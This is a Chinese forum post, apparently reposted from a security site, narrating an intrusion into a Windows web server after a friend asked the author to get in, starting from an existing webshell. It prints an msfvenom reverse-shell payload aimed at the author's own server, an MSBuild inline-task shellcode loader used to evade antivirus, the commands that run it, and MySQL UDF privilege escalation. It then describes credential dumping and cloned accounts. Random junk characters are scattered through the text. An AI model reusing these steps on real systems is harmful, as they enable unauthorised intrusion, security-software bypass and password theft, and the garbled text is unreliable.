0x00 前言
* U7 q4 w% j$ ?; ?" g( M 平常自己挺喜欢折腾的,有时候遇到一个好的突破点会折腾它个几天几夜,刚刚忙完护网,正准备修整几天,突然有人朋友联系我说有个任务需要搞进去,问我能行不能行,后来得知是已经拿到webshell了,通过一番努力便有了下文。 6 v7 Q. n5 `1 h. o2 }1 R0 c
0x01 前期的信息刺探** g U; p$ T5 X5 G! O5 C+ x
2 H9 b, q( }: r9 f, q+ _" Q: k% Z+ D" d& ?* i9 p, S 首先拿到webshell,发现phpshell只能访问shell所在目录,连网站根目录都跨不过去如图: t1 q* Q8 B; d
& t1 o+ A- f: C1 ~: b7 c
c盘d盘根目录就更别提跨过去了,随之执行一下命令看看,如图: P& {, n- V! {$ |5 T
whoami等简单的命令可以跑起来,tasklist发现了 某某安全套装等安全防护进程进程,om my god,刺激,就喜欢这种各种需要绕的环境,既然能跑起命令来那就上免杀的exp来试着提一下(通过rar解压方法突破某防护程序上传),如图: 2 m! W; Z+ z; |$ E0 I' H1 M
2 W# }8 |2 U* r8 s0 Q# L/ a9 F; P; o! a) O) a
经过测试发现,不管把exp放哪个目录都提示拒绝访问,特别是net命令都禁止执行,越发让我感觉是安装安全防护程序的缘故;
% l- ~1 o& g! y8 ?+ [, J5 T3 u 0x02 深入 * K: Y' P* f/ r4 U4 i: t4 v- z% X
通过msbuild.exe白名单方式运行metasploit payload绕过某安全程序调出w3wp.exe进程
在webshell执行直接执行rar程序一直提示拒绝访问如图:
/ w/ x. Q, c3 m# p: K
) m6 G1 {* p) d1 o
在实际做测试的时候发现windows下用shell反弹个cmdshell回来执行一些命令要比在webshell好许多,看官请看
# {5 O; M6 A; V2 W+ R3 K9 z
" Q4 l" S, f2 y6 R9 d! X* a$ s
成功将我们想要的exe程序解压到指定目录,webshell下是没法cd到rar目录的,现在能正常上传exe,我们看能不能想办法让咱们的msf不要闲下来,之前考虑用 php/meterpreter/reverse_tcp这个payload上线弹回meterpreter,但是弹回来什么权限也没,连ps进程命令都没法显示,这时候就想到了使用msbuild.exe白名单方式运行metasploit payload绕过某防护程序让msf上线,于是就开始动手,具体如下:
: L Q% z5 C! W
首先使用msf生成一个c#的payload
W+ N3 V( B6 m: e) ]6 U) z- r
msfvenom -p windows/meterpreter/reverse_tcp lhost=vpsip lport=443 -f csharp
% F* \7 O) U- w( f ~' M
代码如下:
byte[] buf = new byte[179779] { 6 @% e3 ?$ W! U" q
, y4 ?+ f# m0 U5 s/ C: t: s( I
, ]* D, p. W# w% | ! h+ ]) d- @; u5 S! b
8 J1 c, E4 \# C5 E# V1 s$ R1 n 0x8b,0x71,0x1c,0x85,0xf6,0x74,0x58,0x33,0xff,0x39,0x79,0x20,0x74,0x51,0x39, 2 u# l1 y& F, o M6 @
7 J3 V0 L* Z2 n! F2 p0x79,0x24,0x74,0x4c,0x89,0x79,0x14,0x89,0x79,0x08,0x89,0x79,0x18,0xc7,0x41,
" l7 U3 A j0 a' I6 F$ J l+ P6 a 0x2c,0x02,0x00,0x00,0x00,0x8b,0x46,0x08,0x89,0x7e,0x14,0x89,0x46,0x10,0x39, 0 @+ P2 [( B6 |( ^: u& s
0x7e,0x18,0x7d,0x03,0x89,0x7e,0x18,0x39,0x7e,0x18,0x6a,0x2a,0x58,0x6a,0x71, 6 [ H. M7 a' d: b
$ o! V2 w1 ?0 L- o6 R) I0 }1 [3 E! _ 0x5a,0x0f,0x45,0xc2,0x89,0x46,0x04,0xc7,0x41,0x30,0x01,0x00,0x00,0x00,0x56,
' k9 g( S, W5 y1 S: i0 t( q+ | 0x89,0x7e,0x20,0xe8,0x88,0x07,0x00,0x00,0x56,0xe8,0x8a,0x15,0x00,0x00,0x59,
6 j# E6 O. t- C" h 0x59,0x33,0xc0,0xeb,0x03,0x6a,0xfe,0x58,0x5f,0x5e,0x5d,0xc3,0x55,0x8b,0xec,
0x8b,0x4d,0x08,0x33,0xd2,0x56,0x57,0x85,0xc9,0x0f,0x84,0x8d,0x00,0x00,0x00,
, N# I4 X2 H5 B1 ^8 P8 P: u7 X2 p! r/ u2 q! v2 f, K3 u B3 r: | 0x8b,0x71,0x1c,0x85,0xf6,0x0f,0x84,0x82,0x00,0x00,0x00,0x8b,0x7d,0x0c,0x83,
! ]3 f1 a7 |' d; E: R 0xff,0xff,0x6a,0x06,0x58,0x0f,0x44,0xf8,0x83,0xff,0x09,0x77,0x71,0x83,0x7d,
; j) C* j% r/ q$ R. i4 ?# f) L- D! R' n- M2 i 0x10,0x02,0x77,0x6b,0x6b,0x46,0x7c,0x0c,0x53,0x6b,0xdf,0x0c,0x8b,0x80,0x00,
' e0 a7 T. P. u0 n7 G. j2 E; O 0x9d,0x02,0x10,0x3b,0x83,0x00,0x9d,0x02,0x10,0x74,0x11,0x39,0x51,0x08,0x74, , i0 g! A% b* }6 I4 q0 ]
. b) T- e$ P6 Q Z1 a: u3 x0 d) w8 q ^ 0x0c,0x6a,0x01,0x51,0xe8,0x2b,0xf6,0xff,0xff,0x59,0x59,0x8b,0xd0,0x39,0x7e,
3 S" F8 i" b4 X0 Y+ m! N: r0x7c,0x74,0x31。。。代码太长省略。。。 9 D$ E$ [" `% ~2 k! G3 J
}; ' @) Q: d# y' k0 Q V+ ^& B6 f
& P! k/ ^+ V5 L$ h& K: _$ }6 E7 ~, q/ \/ ~' ~& q8 V& ], P
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, 9 ~4 z- g9 K5 b# Z! X
6 z+ X5 ^. W$ `1 S) U* d; u6 @MEM_COMMIT, PAGE_EXECUTE_READWRITE);
+ J! c& M/ k* I( r- T0 NMarshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
( I/ x6 a: x: J2 M$ T8 wIntPtr hThread = IntPtr.Zero; 1 R. |, r. D( X% j$ U- \8 \
2 p; P" f8 A# p0 R& L% J- ^4 c' |/ M$ B8 L! s0 S7 k' m/ U! _' _2 y5 P UInt32 threadId = 0;
; R( |% M( g2 X4 }5 I+ l8 P: w IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); * T2 [5 {$ w7 W9 C
3 k5 P7 Z8 l4 y' ]3 { `2 s- x& x/ C% W5 \5 j8 v WaitForSingleObject(hThread, 0xFFFFFFFF);
" f( f$ |9 E. V0 Y) o s return true; 3 j% l1 I' y3 b: D6 y
}
x' S- |* Y" Y6 ~" @. N2 n. `* } }
7 z% q/ p- v( i* Q$ h( b' U) f ]]>
* U6 U* @2 `3 s2 H- w</Code> 6 z \: m. M/ ^: R i2 N
& |0 R1 I6 N9 w% z7 r. A# f5 V</Task> - k' N: k$ S+ z) N& z w
</UsingTask> + P+ ^3 m, Z+ |' U# B
9 o# b: q$ p/ }# x" T; R" x- G& Z </Project> ! D8 v. T3 c; ]2 `. R
& I9 H5 I* P$ \9 k9 E9 ^& I5 m- c: Y+ G% q. Q: e5 B 用msf生产的代码替换原始代码的内容,这是原始payload如下:
/ q2 E& o& H% q! ?% p$ M* h" U/ v0 L- p4 B3 Q, I <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
: u; A$ B* w- M4 G' S1 f5 m* j$ x' b2 O8 B3 e9 o6 w; g3 S9 J' Y <!-- This inline task executes shellcode. -->
7 J5 M: q3 @2 B<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj --> $ w& T9 l' b9 P z
Y6 P6 u3 p7 l3 M, o<!-- Save This File And Execute The Above Command --> ! n+ `- f- ?( Z3 s2 Y
a% W; p* l8 d+ [<!-- Author: Casey Smith, Twitter: @subTee -->
3 V; Z0 O2 [3 b* E# |1 q& J0 g, |1 ^% @! g <!-- License: BSD 3-Clause -->
<Target Name="Hello">
- D+ f0 @, P, L: T<ClassExample />
</Target>
<UsingTask $ C- }5 S8 v3 ]! i! Y
& E. W7 N: B% \1 l% s TaskName="ClassExample" : b/ Q+ e9 G/ n+ g7 y
4 o; L4 M1 H+ ]# i& ITaskFactory="CodeTaskFactory" # @- g: v3 Z3 z
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
. F. h! @. V0 M<Task>
+ |/ N4 e( b% D" T
<Code Type="Class" Language="cs"> " T( d1 h8 E" P0 M" o9 J
# v) `, x2 Q. a8 B4 U* Q6 u6 n <![CDATA[
2 w; G* k) O% H; g- Y( H9 i7 u/ D, _1 B* X/ a9 [, C using System; , f# A' | d( v7 f" R% J
- A$ `( J, ^4 F0 {/ \/ R5 {* K. fusing System.Runtime.InteropServices;
- F3 A: a7 d, G( b; n9 H using Microsoft.Build.Framework;
. q. x$ B# Y; R6 X2 T1 o using Microsoft.Build.Utilities; ; b0 H& B8 M4 {3 G
& D# y% I- P/ T5 Y: n" m3 U9 G0 t. d! W4 Q5 I8 }$ T: Y0 H; Q2 b public class ClassExample : Task, ITask
{ 8 D0 ^, {) V4 F
0 U; C9 x- P! g8 f private static UInt32 MEM_COMMIT = 0x1000;
- X; L4 O& |; y1 K- ?* w! a" ^3 D# `0 o5 |" I) D0 U. w+ ? private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 7 c2 g. w) {5 o( e: {9 V5 y3 S* | w
1 h$ M) g6 t: K. u! X4 X" k. Q5 L[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, : J# }. u w0 H$ d }
+ X+ O/ |0 W7 w( N# w, i F* j& H* o UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 3 {/ G) T: @3 M# b- \* q! H0 A
[DllImport("kernel32")] : y5 V8 }. J* u3 Q6 H
* @' \2 a. ]% A! [2 Y4 B" mprivate static extern IntPtr CreateThread( 5 W+ ]4 ?, v% C& N6 [9 x( }
+ X9 G7 Z3 C( _+ U1 P3 |' B- {: V M UInt32 lpThreadAttributes, 8 C/ W: L, m! x' c' `- y
7 s* H3 {3 Q J0 b" _, K' ?, Q9 B' C UInt32 dwStackSize,
: V6 V3 v( P: U* l9 T! F/ ^: S( Y/ m$ Y- S+ b UInt32 lpStartAddress, 2 @. S9 F' U3 V6 X5 D8 z' o. A
' |% \' D* `7 d9 A$ a zIntPtr param, " y- \" X& G- M* i* p$ r+ Y
( d( _! g' ?* G1 `5 N4 A. q?! e; ]$ p" r UInt32 dwCreationFlags,
6 t$ n7 ~! e$ {6 d ref UInt32 lpThreadId
);
[DllImport("kernel32")] / E2 {+ [5 G3 Q+ w1 K
& W. h% Y" z: Q8 Z& T9 a$ D private static extern UInt32 WaitForSingleObject( 1 Y! I# R% w0 ^% S. t
6 _6 Y. C% X$ K& L |IntPtr hHandle,
; ~2 ?1 e) r3 w+ N. h" R% e5 a2 t0 d( M; _+ ~) T% q( Q) F) t! f5 ~ UInt32 dwMilliseconds 3 T& B! I8 Z' [
+ J/ Y3 w7 `) h( A: a; F, ^ );
8 m7 g b' w6 m% Xpublic override bool Execute()
{ & M: Q- C. [7 Q5 M
$ T$ o' Y) f/ T. u- a6 C. o8 D- s# H" R+ k1 f' X$ n byte[] shellcode = new byte[179779] {
- T7 n* D5 O$ V8 ^7 P& E ?0 L- P 这里是msf生成的c# shellcode,代码太长省略
4 s) |' Q, V7 Y( h% {% P }; * O5 h6 J# O- _; G4 J2 G; S
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
9 C% Y6 b- K! E/ J+ l MEM_COMMIT, PAGE_EXECUTE_READWRITE); / _5 U$ ?8 o' R7 s
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
3 P! {' `. [% VIntPtr hThread = IntPtr.Zero; : F& z0 ^2 V4 H$ @
UInt32 threadId = 0;
2 Q/ r7 P% z* H* IIntPtr pinfo = IntPtr.Zero;
: Z$ ^9 e# H) R# |6 a& m6 s; {! F1 ^: ]( N0 U" p" [* x( p hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
8 b: s8 M! ~; i$ E$ ?' x9 [return true;
0 s( S4 D" m' K* j" x} 4 B. _$ U( y0 j: F( `" ]
& B Y. x7 R a) L5 o* d0 I# r) u7 t6 k, N) c) V$ A# I* n8 V5 J } ) D% K4 Y- O) y
& a- W, L' n, G/ D1 {5 P. O; h# H2 o6 {2 \. B0 y7 F ]]>
9 l7 j7 b# y4 c8 i</Code>
) u! ]0 M1 W" U) l! Q</Task> W* u& L4 C- ?' s2 [9 s k
) F. a: p2 z/ w6 ]J' h" C0 k5 F3 {8 [ </UsingTask> 5 e8 r a& N" D$ q0 K1 I
- G4 \8 `4 I+ @) g; T* M! @; ^6 W: t; q </Project>
需要注意的是必须改成shellcode如图:
* @% T0 c' I8 p x& ?
然后上传到web目录,nc反弹继续执行如下命令: . ]7 h5 [2 k4 i& t6 A5 }
2 }+ V" ?' s7 m- t$ M, S4 A% k cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\ . ~. {5 {: I% d o9 g
! W5 [6 l# y+ M+ `* V1 w- C" T; \2 p; {5 [0 d! ` msbuild.exe D:\1\1111.com\uploadfile\19200\443.csproj
% V: Q/ ^, ~1 e' z' N4 `) s- y/ ~2 _
这时候监听好的msf就会返回一个meterpreter如图:
( a& e- b( |) e6 o' `* {
试着在shell和meterpreter下执行exp都提示拒绝访问,如图:
1 b# U- `- D G# \
但是测试upload上传命令确实是成功调出w3wp.exe 进程,经过一番努力无果,只好换思路解决。 1 j8 E# x8 c# n# } D5 B7 D! X( r
0x03 MySQL udf提权
* H% d# l4 x9 c! F; t1 b 通过上面的一些测试,已经无望了,这时候就想着用其他办法,经过测试发现网站支持asp,就上传了一个aspshell,各种翻目录各种测试,终于在网站的二级目录数据库配置文件发现了mysql root密码,OK,上传udf提权php马,在具体测试过程中发现,市面上的udf Php工具都被某安全程序被杀了,我发现把被杀的php后缀修改为csproj上传不杀了,要不然无论把被杀的php换成什么后缀名都不行,然后再通过PHP包含这个文件,就可以突破了(也不知道算不算是个某防护程序的一个bug,总之用这种办法让udf工具跑起来了),如图: 8 d# i6 U5 E3 p
6 M E5 C" \. s! M |
然后按常规导入dll,提示dll导入成功,创建sys_eval 函数执行命令,却又提示函数不存在如:FUNCTION mysql.sys_eval does not exist,在测试过程没少折腾,用portfwd命令转发目标3306到本地,利用sqlmap -d 上传dll提示不成功,后来用--file-write命令上传dll到system32下也失败了,但是发现上传非二进制的文件的话是成功的,后来通过查看权限证明不是权限问题如图:
select * from mysql.user where user = substring_index(user(), '@', 1) ;
( e2 ?. A/ p+ g: o0 P
权限都很OK,很悲催dll被禁止上传,可恶的安全防护呀,通过查询发现几个自定义函数,如图: " G5 u1 e) ?, P7 _6 e% j
发现udf.dll已经被占坑了,我们查询一下看看
6 V9 C- o( Q2 A2 q" V9 q# l
select hex(load_file('c:/windows/system32/udf.dll'));如图:
; e4 [% T' W- P3 p* [6 e; L
7 x: X( h& W' ~8 N
我们利用php环境把它转成dll,代码如下: * G( t" l+ b0 Z% [! A: e9 b
( B: ^- Q5 R& _- q, g <?php $ B* s' _% I8 z* x8 H
$ h0 A' |/ l2 M& u* Z7 `) e* g* z# I+ s8 w# _ j. P+ \ echo file_put_contents('udf.dll',hex2bin("这里为sql查询出来的值"));
" D7 n( H3 n! S+ n0 ?, F?>
, z, r" ^: A8 D- I" b% `9 t5 @) _. k2 h 成功把它还原成dll文件,用c32am打开看一下他的用法如图: 5 G& B/ }& b+ l; n. z8 g0 n
/ A9 p e. |( M* t9 P& o* m! p" ?7 P' z6 c
看看这个shell函数的用法,
# |% I( i4 z+ o% @" U
& H3 e( J+ `" O
正好和dll里面的信息一致,但是在测试的过程中发现cmd那个参数用法没法执行命令会卡死,后来试了exec,select shell('exec','whoami');,如图: 2 o1 [. b" U6 j$ ]& {
说明这个exec可以绕过安全防护执行命令,接下来的测试中打算使用msf来操作,于是给目录上传了个免杀的msf工具,过全世界所有的杀毒用法 msf vpsip 443,但是监听好的msf一直没返回来meterpreter,后来没办法又用白名单执行命令成功上线(奇怪的还在后面)命令如下:select shell('exec','C:/Windows/Microsoft.NET/Framework/v4.0.30319/msbuild.exe D://1//xxoo.com//uploadfile//19200//443.csproj');注意斜杠问题否则执行出错 * A* |* G/ q7 y* [5 I. r. e
* C8 T0 Q1 g% t2 M9 c
但是奇怪的是已经成了system权限却没办法shell,这也正是这个目标奇葩的地方,执行shell卡死,后来ps了一下进程发现administrator的进程migrate pid,然后再执行shell成功执行,并且也可以执行net user 等命令如图:
0 j% e+ K/ V% e5 J; @' v
很OK,直接net user添加账号肯定不行,利用userclone克隆添加账号密码,账号添加成功,但是加入到管理员组失败,手里有杀某防护程序的神器,但是似乎用不上,杀完需要重启动静太大,OK,这时候发现administrator在线直接上传getpassword64免杀版抓明文密码,得到administrator的明文密码,试着用msf模块抓一下密码,如下:
% e5 ~" E6 d; u9 B% t
* D* u) s0 {7 b0 {: Z# K, g' m
没有成功,因为之前也踩点发现3389没有被某防护程序加入主机名或者ip认证,可以正常登录,所以也不涉及绕过认证登录的问题。登录如图: 4 P1 H8 k; w, x4 S- c+ g
* E) f" u, U1 D P- {" D
$ k, V! X& U7 r6 J$ ~
; a/ z# f+ S. v3 W, T 渗透到此就结束了。
1 d) N# B2 b! x G 0x04另一个案例绕做组策略限制执行命令
( ?) I. ~6 X9 p# N主要还是白名单绕过执行程序及配合udf提权,碰到前人留下的udf后门直接提到system,剩下就是一顿乱折腾,不过也不白折腾,摸着石头过河没什么不好;第一次在先知改版后写文章,文章排版之类的还是不太熟悉,可能写的不尽人意,还是请多包涵。。。。。这里要感谢先知V师傅,莫须有等好兄弟的大力支持,一晚上陪我熬夜。。。
6 k' D G2 y9 ]4 p
% C% u7 q i3 n$ Z7 c
命令跑起来了,最起码遇到不能执行命令的时候用白名单执行可以继续开展下一步工作,或者利用msf的load powershell也行继续搞,哈哈
4 A W' U% D" o6 @+ {$ e) I5 C; J7 U" x% |) p, e
6 p$ g2 \" N" h! F; N8 f" _( \- y, H6 f5 K+ @5 c: j v 黑客是一种精神,虽然我不是黑客,但是我崇拜这种精神,什么精神?就是永不言败,勇于突破,敢于挑战,崇尚自由的这种精神或者神经,值得各行各业的人学习。(自从学了黑客,人也变得踏实了,也不虚上跳下,也不让家里人觉得这个人不成熟、不靠谱,总之学黑客,得永生,黑客大法好!!!加油兄弟们!)
/ w. y7 Q7 R( ~
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) | Powered by Discuz! X3.2 |